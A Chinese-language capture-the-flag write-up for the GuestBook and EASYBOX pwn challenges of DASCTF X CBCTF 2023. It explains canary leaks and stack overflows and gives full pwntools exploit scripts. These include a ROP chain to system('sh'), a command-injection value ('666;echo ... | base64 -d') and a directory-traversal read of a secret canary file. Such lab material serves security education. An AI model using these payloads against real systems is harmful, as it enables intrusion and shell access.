DASCTF X CBCTF 2023|无畏者先行 [PWN] WP

DASCTF X CBCTF 2023|无畏者先行 [PWN] WP📌

1. GuestBook

题目保护情况 开启canary,nx保护

64位ida载入 首先可以通过输入0x18个垃圾数据可以通过打印泄露出canary

这里至多有四次输入机会每次都可以溢出,但是有00截断

程序存在后门

🔢思路:1.通过打印泄露出canary

**     2.由于canary的00截断,第一溢出到返回地址并修改返回地址,(注意此时canary的末为不能为0,返回地址也有截断)**

3.第二次溢出到canary通过00截断把canary复原

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./GuestBook')
io.recvuntil(' name:')

payload = b'a'*0x10 + b'b'*0x8
#gdb.attach(io)
magic = 0x4012c3
io.sendline(payload)
io.recvuntil('\n')
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary----->'+hex(canary))

io.recvuntil('(MAX 4):')
io.sendline('2')
payload = b'a'*0x98 + p64(canary+ord('a')) + b'a'*8 + b'\xc3\x12\x40'
gdb.attach(io)
io.sendline(payload)

payload = b'a'*0x78 + p64(canary)
#gdb.attach(io)
io.sendline(payload)

io.interactive()

**2.**EASYBOX

题目保护情况 同样是canary,和nx开启

64位ida载入

通过ida和运行可以看见是一个类似于shell的东西,有几个选项可以选,来一个一个分析

PING操作,可以把我们输入的东西拼接在命令里面执行并放入result.txt文件里面

但是做了过滤所以并不能直接读取flag

CAT操作,可以查看文件,这里有两个漏洞

前面知道canary存在/secret/canary.txt文件中,上面那个漏洞可以实现跨目录读取canary

🔢思路:1.通过目录穿越读取canary

**     2.通过PING,把ROP链写入result.txt文件中,因为有截断,可以通过base64把rop链编码,然后通过linux命令实现base64解码**

**     3.通过栈溢出获取shell**

EXP:

from pwn import *
import base64

context(log_level='debug',arch='amd64',os='linux')

io = remote('node5.buuoj.cn',25438)

io.sendlineafter('name:','aaaa')
io.recvuntil('/home/ctf')
payload = 'CAT'

io.sendline(payload)
io.recvuntil('view:')
payload = '../../secret/canary.txt'
io.sendline(payload)

canary = int(io.recvline(),16)
success('canary----->'+hex(canary))
pop_rdi = 0x0000000000401ce3 #: pop rdi ; ret 
system = 0x401230
sh = 0x402090
ret = 0x401C77
ROPpayload = b'a'*0x48 + p64(canary) + b'A'*8  + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)
ROPpayload = base64.b64encode(ROPpayload)

payload = b"666;echo '" + ROPpayload +b"'| base64 -d"
io.sendlineafter('/home/ctf','PING')

io.recvuntil('address:')
io.sendline(payload)

io.sendlineafter('/home/ctf','CAT')
io.sendlineafter('view:','result.txt')
io.interactive()

**3.**Binding

这个题目有多种解法通过下一篇单独讲解一下😖😖😖😖😖